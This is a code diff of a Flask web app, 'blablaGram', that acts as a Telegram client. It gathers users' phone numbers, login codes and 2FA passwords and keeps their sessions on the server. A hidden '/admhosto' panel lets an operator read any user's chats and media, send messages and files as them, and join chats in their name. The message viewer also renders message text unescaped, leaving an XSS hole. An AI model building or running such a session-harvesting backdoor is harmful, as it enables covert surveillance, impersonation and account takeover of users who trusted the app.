- input[type="text"]:focus, textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; }
 
772
  textarea { resize: vertical; min-height: 80px; }
773
- button { background: var(--primary-blue); color: #fff; padding: 12px 20px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.0em; font-weight: 600; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.2); }
774
- button:hover { background: var(--dark-blue); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.3); }
775
- button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.1); }
776
- button.file-send { background: var(--success-green); box-shadow: 0 4px 10px rgba(40, 167, 69, 0.2); }
777
- button.file-send:hover { background: var(--success-green-hover); box-shadow: 0 6px 15px rgba(40, 167, 69, 0.3); }
778
- .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
779
- .chat-item { padding: 14px 18px; border-bottom: 1px solid var(--border-light); cursor: pointer; transition: background 0.2s ease; }
780
- .chat-item:hover, .chat-item.active { background: rgba(42, 171, 238, 0.08); }
781
  .chat-item:last-child { border-bottom: none; }
782
- .chat-item h3 { margin: 0; font-size: 1.05em; color: var(--text-dark); font-weight: 600; }
783
- .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: var(--text-medium); }
784
- .message-viewer { margin-top: 30px; background: var(--background-light); padding: 25px; border-radius: 12px; border: 1px solid var(--border-light); box-shadow: 0 4px 10px var(--shadow-light); }
785
- .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); margin-top: 15px; display: flex; flex-direction: column-reverse; scroll-behavior: smooth; }
786
- .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 2px var(--shadow-light); }
787
- .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }
788
- .message-item.received { background: #F1F0F0; align-self: flex-start; border-bottom-left-radius: 4px; }
789
- .message-sender { font-weight: bold; color: var(--primary-blue); margin-bottom: 4px; display: block; font-size: 0.9em; }
790
- .message-text { color: var(--text-dark); white-space: pre-wrap; word-break: break-word;}
791
- .message-meta { font-size: 0.7em; color: var(--text-light); margin-top: 5px; text-align: right; }
792
- .media-link { display: block; margin-top: 5px; color: var(--primary-blue); text-decoration: none; }
793
- .back-button { margin-top: 30px; text-align: center; }
794
- .back-button a { display: inline-block; padding: 12px 25px; background: var(--secondary-gray); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s; font-weight: 600; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
795
- .back-button a:hover { background: var(--secondary-gray-hover); text-decoration: none; transform: translateY(-2px); }
796
- .back-button a:active { transform: translateY(0); }
797
- .clear-chat-selection { text-align: center; margin-top: 15px; }
798
- .clear-chat-selection button { background: var(--secondary-gray); color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
799
- .clear-chat-selection button:hover { background: var(--secondary-gray-hover); }
800
- .load-more-messages { text-align: center; margin-top: 10px; color: var(--text-medium); font-size: 0.85em; padding-bottom: 10px;}
801
- .load-more-messages button { background: var(--primary-blue); color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; width: auto; box-shadow: none;}
802
- .load-more-messages button:hover { background: var(--dark-blue); transform: none; box-shadow: none; }
803
-
804
 
805
  @media (max-width: 768px) {
806
  body { padding: 15px; }
807
- .container { padding: 25px 15px; border-radius: 12px; }
808
- h1 { font-size: 2.2em; }
809
  .split-panel { flex-direction: column; gap: 20px; }
810
- .split-panel > div { padding: 20px; border-radius: 10px; }
811
- .user-info { font-size: 1em; padding-bottom: 15px; }
812
- input[type="text"], textarea { padding: 10px; font-size: 0.9em; }
813
- button { padding: 10px 15px; font-size: 0.9em; margin-top: 10px; }
814
- .chat-list { max-height: 300px; }
815
- .messages-container { max-height: 400px; }
816
- .message-item { max-width: 95%; }
817
- .back-button a { width: calc(100% - 30px); }
818
  }
819
  </style>
820
  </head>
@@ -830,7 +753,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
830
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
831
  <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
832
  <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
833
- <button onclick="document.getElementById('sendFileInput').click()" class="file-send">Send File</button>
834
 
835
  <h2 style="margin-top: 30px;">Join Chat</h2>
836
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
@@ -846,7 +769,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
846
  <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
847
  </div>
848
  {% else %}
849
- <p style="padding: 15px; text-align: center; color: var(--text-medium);">No chats found.</p>
850
  {% endfor %}
851
  </div>
852
  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
@@ -862,110 +785,126 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
862
  </div>
863
  <script>
864
  let currentAdminChatId = null;
865
- let adminMessagesLoadedOffsetId = 0;
866
- let adminHasMoreMessages = true;
867
- const adminMessagesPerPage = 50;
868
 
869
  function clearChatSelection() {
870
  document.getElementById('messageViewer').style.display = 'none';
871
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
872
  currentAdminChatId = null;
873
- adminMessagesLoadedOffsetId = 0;
874
- adminHasMoreMessages = true;
 
875
  }
876
 
877
  async function selectChat(userId, chatId, chatTitle) {
878
- if (currentAdminChatId === chatId) return;
 
 
 
879
  currentAdminChatId = chatId;
880
- adminMessagesLoadedOffsetId = 0;
881
- adminHasMoreMessages = true;
 
882
 
883
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
884
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
885
 
886
  document.getElementById('messageViewer').style.display = 'block';
887
  document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
888
-
889
- await fetchAdminMessages(userId, chatId, 0, false);
 
 
 
890
  }
891
 
892
- async function fetchAdminMessages(userId, chatId, offsetId, isLoadMore) {
 
 
 
893
  const messagesContainer = document.getElementById('messagesContainer');
894
- if (!isLoadMore) {
895
- messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Loading...</p>';
 
 
896
  } else {
897
- const loadingIndicator = document.createElement('p');
898
- loadingIndicator.style.textAlign = 'center';
899
- loadingIndicator.style.color = 'var(--text-medium)';
900
- loadingIndicator.textContent = 'Loading older messages...';
901
- loadingIndicator.id = 'adminLoadingOlderMessages';
902
- messagesContainer.prepend(loadingIndicator);
903
  }
904
 
905
- const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages?offset_id=${offsetId}`);
 
906
  const result = await response.json();
907
-
908
- if (document.getElementById('adminLoadingOlderMessages')) {
909
- document.getElementById('adminLoadingOlderMessages').remove();
910
  }
911
 
912
  if (result.success && result.messages) {
913
- if (!isLoadMore) {
914
  messagesContainer.innerHTML = '';
915
  }
916
 
917
- if (result.messages.length === 0 && !isLoadMore) {
918
- messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">No messages found in this chat.</p>`;
919
- adminHasMoreMessages = false;
920
- return;
921
  }
922
 
923
- const fragment = document.createDocumentFragment();
 
 
924
  result.messages.reverse().forEach(msg => {
925
  const messageItem = document.createElement('div');
926
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
927
- let senderInfo = !msg.is_sent && msg.sender_name && msg.type !== 'User' ? `<span class="message-sender">${msg.sender_name}</span>` : '';
928
- let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
929
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
930
  let metaHtml = `<div class="message-meta">${msg.date}</div>`;
931
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
932
 
933
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
934
- fragment.prepend(messageItem);
 
 
 
 
 
 
 
 
935
  });
 
936
 
937
- if (result.has_more_messages) {
938
- const loadMoreDiv = document.createElement('div');
939
- loadMoreDiv.className = 'load-more-messages';
940
- loadMoreDiv.innerHTML = `<button onclick="loadOlderAdminMessages(${userId})">Load More</button>`;
941
- fragment.prepend(loadMoreDiv);
942
- adminHasMoreMessages = true;
943
- } else {
944
- adminHasMoreMessages = false;
945
- }
946
-
947
- messagesContainer.prepend(fragment);
948
- if (!isLoadMore) {
949
  messagesContainer.scrollTop = messagesContainer.scrollHeight;
 
 
 
950
  }
951
- adminMessagesLoadedOffsetId = result.next_offset_id;
952
 
953
  } else {
954
- messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
955
- adminHasMoreMessages = false;
 
956
  }
 
957
  }
958
 
959
- function loadOlderAdminMessages(userId) {
960
- if (!currentAdminChatId || !adminHasMoreMessages) return;
961
- document.querySelector('.load-more-messages button').remove();
962
- fetchAdminMessages(userId, currentAdminChatId, adminMessagesLoadedOffsetId, true);
963
- }
964
 
965
  async function sendMessage(userId) {
966
- const chatId = document.getElementById('sendMessageRecipient').value.trim();
967
- const message = document.getElementById('sendMessageContent').value.trim();
968
- if (!chatId || !message) { alert('Recipient and message are required.'); return; }
969
  const response = await fetch(`/admhosto/send_message/${userId}`, {
970
  method: 'POST',
971
  headers: { 'Content-Type': 'application/json' },
@@ -976,8 +915,8 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
976
  if (result.success) {
977
  document.getElementById('sendMessageRecipient').value = '';
978
  document.getElementById('sendMessageContent').value = '';
979
- if (currentAdminChatId == chatId) { // Refresh current chat if it's the target
980
- fetchAdminMessages(userId, currentAdminChatId, 0, false);
981
  }
982
  }
983
  }
@@ -987,8 +926,8 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
987
  if (fileInput.files.length === 0) return;
988
 
989
  const file = fileInput.files[0];
990
- const chatId = document.getElementById('sendMessageRecipient').value.trim();
991
- const caption = document.getElementById('sendMessageContent').value.trim();
992
 
993
  if (!chatId) { alert('Recipient is required to send a file.'); return; }
994
 
@@ -1001,20 +940,21 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
1001
  document.getElementById('sendMessageContent').value = '';
1002
  fileInput.value = '';
1003
 
1004
- alert('Uploading file...');
1005
  const response = await fetch(`/admhosto/send_file/${userId}`, {
1006
  method: 'POST',
1007
  body: formData
1008
  });
1009
  const result = await response.json();
1010
  alert(result.message);
1011
- if (result.success && currentAdminChatId == chatId) { // Refresh current chat if it's the target
1012
- fetchAdminMessages(userId, currentAdminChatId, 0, false);
 
 
1013
  }
1014
  }
1015
 
1016
  async function joinChat(userId) {
1017
- const chatIdentifier = document.getElementById('joinChatIdentifier').value.trim();
1018
  if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
1019
  const response = await fetch(`/admhosto/join_chat/${userId}`, {
1020
  method: 'POST',
@@ -1023,9 +963,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
1023
  });
1024
  const result = await response.json();
1025
  alert(result.message);
1026
- if (result.success) {
1027
- location.reload(); // Reload to refresh chat list
1028
- }
1029
  }
1030
  </script>
1031
  </body>
@@ -1046,10 +984,6 @@ def api_login():
1046
 
1047
  if not phone:
1048
  return jsonify({'success': False, 'message': 'Phone number is required.'})
1049
-
1050
- phone = phone.strip() # Clean input
1051
- if not phone.startswith('+'):
1052
- return jsonify({'success': False, 'message': 'Phone number must start with country code (e.g., +1234567890).'})
1053
 
1054
  session_hash = hashlib.md5(phone.encode()).hexdigest()
1055
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
@@ -1074,25 +1008,14 @@ def api_login():
1074
  session['user_id'] = user_db_id
1075
  result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
1076
  else:
1077
- try:
1078
- sent_code = await client.send_code_request(session['current_login_phone'])
1079
- session['phone_code_hash'] = sent_code.phone_code_hash
1080
- result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
1081
- except PhoneNumberInvalidError:
1082
- result = {'success': False, 'message': 'The phone number is invalid. Please check the format (e.g., +1234567890).'}
1083
- except FloodWaitError as e:
1084
- result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1085
- except RpcCallError as e:
1086
- result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
1087
- except Exception as e:
1088
- result = {'success': False, 'message': f'An unexpected error occurred while sending code: {e}'}
1089
  elif step == 'code':
1090
  code = data.get('code')
1091
  phone_code_hash = session.get('phone_code_hash')
1092
  if not phone_code_hash:
1093
- result = {'success': False, 'message': 'Session expired or code hash missing, please try again from start.'}
1094
- await client.disconnect()
1095
- return result
1096
 
1097
  try:
1098
  me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
@@ -1106,16 +1029,10 @@ def api_login():
1106
  result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
1107
  except SessionPasswordNeededError:
1108
  result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
1109
- except PhoneCodeInvalidError:
1110
- result = {'success': False, 'message': 'The verification code is incorrect. Please try again.'}
1111
- except PhoneCodeExpiredError:
1112
- result = {'success': False, 'message': 'The verification code has expired. Please request a new code.'}
1113
  except FloodWaitError as e:
1114
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1115
- except RpcCallError as e:
1116
- result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
1117
  except Exception as e:
1118
- result = {'success': False, 'message': f'An unexpected error occurred during code verification: {e}'}
1119
 
1120
  elif step == 'password':
1121
  password = data.get('password')
@@ -1131,17 +1048,15 @@ def api_login():
1131
  result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
1132
  except FloodWaitError as e:
1133
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1134
- except RpcCallError as e:
1135
- result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
1136
  except Exception as e:
1137
- result = {'success': False, 'message': f'An unexpected error occurred during password verification: {e}'}
1138
 
1139
  else:
1140
  result = {'success': False, 'message': 'Invalid step.'}
1141
  except FloodWaitError as e:
1142
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1143
  except Exception as e:
1144
- result = {'success': False, 'message': f'An unexpected error occurred during connection: {e}'}
1145
  finally:
1146
  if client.is_connected():
1147
  await client.disconnect()
@@ -1197,7 +1112,7 @@ def api_user_chats():
1197
  full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
1198
  title = full_name if full_name else "Unnamed User"
1199
  if dialog.entity.username:
1200
- title = f"{title} (@{dialog.entity.username})" if title else f"@{dialog.entity.username}"
1201
  elif isinstance(dialog.entity, Channel):
1202
  chat_type = 'Channel'
1203
  if hasattr(dialog.entity, 'participants_count'):
@@ -1210,7 +1125,7 @@ def api_user_chats():
1210
  title = title if title else "Unknown Chat"
1211
  chat_type = "Unknown"
1212
 
1213
- initial = (title[0].upper() if title else dialog.name[0].upper()) if dialog.name else '?'
1214
 
1215
  chats_info.append({
1216
  'id': dialog.id,
@@ -1237,38 +1152,29 @@ def api_get_chat_messages(peer_id):
1237
  user_id = session.get('user_id')
1238
  if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1239
 
1240
- offset_id = request.args.get('offset_id', 0, type=int)
1241
- limit = 50
1242
 
1243
  async def _get_messages_async():
1244
  client, error = await get_user_client(user_id)
1245
- if error: return None, error, None, False
1246
 
1247
  messages = []
1248
- next_offset_id = 0
1249
- has_more_messages = False
1250
  try:
1251
  entity = await client.get_entity(peer_id)
1252
- async for message in client.iter_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=False):
1253
- if len(messages) >= limit: # Fetch one extra to check if there are more
1254
- has_more_messages = True
1255
- break
1256
-
1257
  msg_data = {
1258
- 'message_id': message.id, # Keep message ID for next offset
1259
  'text': message.text,
1260
  'date': message.date.strftime("%b %d, %H:%M"),
1261
  'is_sent': message.out,
1262
- 'sender_name': 'Unknown',
1263
- 'type': 'Unknown'
1264
  }
1265
  if message.sender:
1266
  if isinstance(message.sender, User):
1267
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1268
- msg_data['type'] = 'User'
1269
- elif hasattr(message.sender, 'title'): # Chat/Channel
1270
  msg_data['sender_name'] = message.sender.title
1271
- msg_data['type'] = 'Group/Channel'
1272
  else:
1273
  msg_data['sender_name'] = str(message.sender.id)
1274
 
@@ -1283,8 +1189,7 @@ def api_get_chat_messages(peer_id):
1283
  elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1284
  file_name = f"photo_{message.media.photo.id}.jpg"
1285
 
1286
- download_path = Path(DOWNLOAD_DIR) / file_name
1287
- file_info = await client.download_media(message, file=download_path)
1288
  if file_info:
1289
  file_path = Path(file_info)
1290
  msg_data['file_name'] = file_path.name
@@ -1293,29 +1198,18 @@ def api_get_chat_messages(peer_id):
1293
  except Exception as media_e:
1294
  msg_data['file_name'] = f"Download failed: {media_e}"
1295
  messages.append(msg_data)
1296
-
1297
- if messages:
1298
- next_offset_id = messages[-1]['message_id']
1299
- if has_more_messages:
1300
- messages = messages[:-1] # Remove the extra message if we loaded more than limit
1301
- else:
1302
- next_offset_id = 0 # No more messages
1303
- else:
1304
- next_offset_id = 0
1305
- has_more_messages = False
1306
-
1307
  except Exception as e:
1308
- return None, str(e), None, False
1309
  finally:
1310
  if client and client.is_connected():
1311
  await client.disconnect()
1312
- return messages, None, next_offset_id, has_more_messages
1313
 
1314
- messages, error, next_offset_id, has_more_messages = asyncio.run(_get_messages_async())
1315
  if error:
1316
  return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1317
 
1318
- return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id, 'has_more_messages': has_more_messages})
1319
 
1320
  @app.route('/api/send_message', methods=['POST'])
1321
  def api_send_message():
@@ -1335,8 +1229,6 @@ def api_send_message():
1335
  return {'success': True, 'message': 'Message sent.'}
1336
  except FloodWaitError as e:
1337
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1338
- except RpcCallError as e:
1339
- return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1340
  except Exception as e:
1341
  return {'success': False, 'message': str(e)}
1342
  finally:
@@ -1368,8 +1260,6 @@ def api_send_file():
1368
  return {'success': True, 'message': 'File sent.'}
1369
  except FloodWaitError as e:
1370
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1371
- except RpcCallError as e:
1372
- return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1373
  except Exception as e:
1374
  return {'success': False, 'message': str(e)}
1375
  finally:
@@ -1399,8 +1289,6 @@ def api_join_chat():
1399
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1400
  except (UserNotParticipantError, ValueError):
1401
  return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
1402
- except RpcCallError as e:
1403
- return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1404
  except Exception as e:
1405
  return {'success': False, 'message': f'Error joining chat: {e}'}
1406
  finally:
@@ -1437,8 +1325,6 @@ def admhosto_manage_user_account(user_id):
1437
  elif isinstance(dialog.entity, User): chat_type = 'User'
1438
 
1439
  title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
1440
- if isinstance(dialog.entity, User) and dialog.entity.username:
1441
- title = f"{title} (@{dialog.entity.username})" if title else f"@{dialog.entity.username}"
1442
 
1443
  chats_info.append({
1444
  'id': dialog.id,
@@ -1458,37 +1344,28 @@ def admhosto_manage_user_account(user_id):
1458
 
1459
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1460
  def admhosto_get_chat_messages(user_id, peer_id):
1461
- offset_id = request.args.get('offset_id', 0, type=int)
1462
- limit = 50
1463
 
1464
  async def _get_messages_async():
1465
  client, error = await get_user_client(user_id)
1466
- if error: return None, error, None, False
1467
  messages = []
1468
- next_offset_id = 0
1469
- has_more_messages = False
1470
  try:
1471
  entity = await client.get_entity(peer_id)
1472
- async for message in client.iter_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=False):
1473
- if len(messages) >= limit:
1474
- has_more_messages = True
1475
- break
1476
-
1477
  msg_data = {
1478
- 'message_id': message.id,
1479
  'text': message.text,
1480
  'date': message.date.strftime("%b %d, %H:%M"),
1481
  'is_sent': message.out,
1482
- 'sender_name': 'Unknown',
1483
- 'type': 'Unknown'
1484
  }
1485
  if message.sender:
1486
  if isinstance(message.sender, User):
1487
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1488
- msg_data['type'] = 'User'
1489
  elif hasattr(message.sender, 'title'):
1490
  msg_data['sender_name'] = message.sender.title
1491
- msg_data['type'] = 'Group/Channel'
1492
  else:
1493
  msg_data['sender_name'] = str(message.sender.id)
1494
 
@@ -1503,8 +1380,7 @@ def admhosto_get_chat_messages(user_id, peer_id):
1503
  elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1504
  file_name = f"photo_{message.media.photo.id}.jpg"
1505
 
1506
- download_path = Path(DOWNLOAD_DIR) / file_name
1507
- file_info = await client.download_media(message, file=download_path)
1508
  if file_info:
1509
  file_path = Path(file_info)
1510
  msg_data['file_name'] = file_path.name
@@ -1513,26 +1389,15 @@ def admhosto_get_chat_messages(user_id, peer_id):
1513
  except Exception as media_e:
1514
  msg_data['file_name'] = f"Download failed: {media_e}"
1515
  messages.append(msg_data)
1516
-
1517
- if messages:
1518
- next_offset_id = messages[-1]['message_id']
1519
- if has_more_messages:
1520
- messages = messages[:-1]
1521
- else:
1522
- next_offset_id = 0
1523
- else:
1524
- next_offset_id = 0
1525
- has_more_messages = False
1526
-
1527
  except Exception as e:
1528
- return None, str(e), None, False
1529
  finally:
1530
  if client and client.is_connected(): await client.disconnect()
1531
- return messages, None, next_offset_id, has_more_messages
1532
 
1533
- messages, error, next_offset_id, has_more_messages = asyncio.run(_get_messages_async())
1534
  if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1535
- return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id, 'has_more_messages': has_more_messages})
1536
 
1537
  @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
1538
  def admhosto_send_message(user_id):
@@ -1548,8 +1413,6 @@ def admhosto_send_message(user_id):
1548
  return {'success': True, 'message': 'Message sent.'}
1549
  except FloodWaitError as e:
1550
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1551
- except RpcCallError as e:
1552
- return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1553
  except Exception as e:
1554
  return {'success': False, 'message': str(e)}
1555
  finally:
@@ -1577,8 +1440,6 @@ def admhosto_send_file(user_id):
1577
  return {'success': True, 'message': 'File sent.'}
1578
  except FloodWaitError as e:
1579
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1580
- except RpcCallError as e:
1581
- return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1582
  except Exception as e:
1583
  return {'success': False, 'message': str(e)}
1584
  finally:
@@ -1602,8 +1463,6 @@ def admhosto_join_chat(user_id):
1602
  return {'success': True, 'message': 'Successfully joined.'}
1603
  except FloodWaitError as e:
1604
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1605
- except RpcCallError as e:
1606
- return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
1607
  except Exception as e:
1608
  return {'success': False, 'message': f'Error joining: {e}'}
1609
  finally:
 
11
  from telethon.tl.functions.messages import ImportChatInviteRequest
12
  from telethon.tl.functions.channels import JoinChannelRequest
13
  from telethon.tl.types import User, Chat, Channel
 
14
 
15
  app = Flask(__name__)
16
 
 
64
  <meta charset="UTF-8">
65
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
66
  <title>blablaGram - Login</title>
67
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;700&display=swap" rel="stylesheet">
68
  <style>
69
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: linear-gradient(135deg, #E9EBEE 0%, #D5DBE0 100%); color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
70
+ .container { background: #FFFFFF; padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 440px; width: 90%; text-align: center; }
71
+ h1 { color: #2AABEE; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -1px; text-shadow: 1px 1px 2px rgba(0,0,0,0.05); }
72
+ input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 15px 0; border: 1px solid #E0E0E0; border-radius: 10px; background: #F9F9F9; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; }
73
+ input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; background: #FFFFFF; }
74
+ button { background: #2AABEE; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.3); }
75
+ button:hover { background: #1C91D0; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.4); }
 
 
 
 
 
 
 
 
 
 
 
 
 
76
  button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
77
+ .message { margin-top: 30px; padding: 18px; border-radius: 10px; font-size: 1em; line-height: 1.6; text-align: left; }
 
78
  .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
79
  .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
80
+ .message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
81
  .hidden { display: none; }
82
+ .warning { background: #FFF3CD; color: #856404; border: 1px solid #FFEBAA; }
 
 
 
 
 
 
83
  </style>
84
  </head>
85
  <body>
 
107
  }
108
 
109
  async function startLogin() {
110
+ phone = document.getElementById('phone').value;
111
  if (!phone) {
112
  showMessage('Please enter your phone number.', 'error');
113
  return;
114
  }
115
+ showMessage('Sending code... Please check your Telegram app for a login code or notification.', 'info');
 
 
 
 
 
 
116
  document.getElementById('code').classList.add('hidden');
117
  document.getElementById('password').classList.add('hidden');
118
  document.getElementById('submitCode').classList.add('hidden');
 
135
  setTimeout(() => window.location.href = '/app', 1500);
136
  }
137
  } else {
138
+ let errorMessage = 'Login failed: ' + result.message;
139
+ if (result.message.includes('FloodWaitError') || result.message.includes('phone_number_invalid')) {
140
+ errorMessage += '<br>This might be a temporary Telegram restriction or an invalid phone number. Please wait and try again, or ensure your phone number is correct and active on Telegram.';
141
+ }
142
+ showMessage(errorMessage, 'error');
143
  }
144
  }
145
 
146
  async function submitCode() {
147
+ const code = document.getElementById('code').value;
148
  if (!code) {
149
  showMessage('Please enter the verification code.', 'error');
150
  return;
 
160
  showMessage(result.message + ' Redirecting to app...', 'success');
161
  setTimeout(() => window.location.href = '/app', 1500);
162
  } else if (result.password_required) {
163
+ showMessage(result.message + ' Enter your 2FA cloud password.', 'warning');
164
  document.getElementById('password').classList.remove('hidden');
165
  document.getElementById('submitPassword').classList.remove('hidden');
166
  document.getElementById('submitCode').classList.add('hidden');
 
171
  }
172
 
173
  async function submitPassword() {
174
+ const password = document.getElementById('password').value;
175
  if (!password) {
176
  showMessage('Please enter your cloud password.', 'error');
177
  return;
 
204
  <title>blablaGram</title>
205
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
206
  <style>
207
+ body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
208
  .app-layout { display: flex; height: 100vh; width: 100%; }
209
+
210
+ /* Sidebar Styles */
211
+ .sidebar { flex: 0 0 320px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; position: relative; z-index: 1000; }
212
+ .sidebar-header { padding: 15px 20px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
213
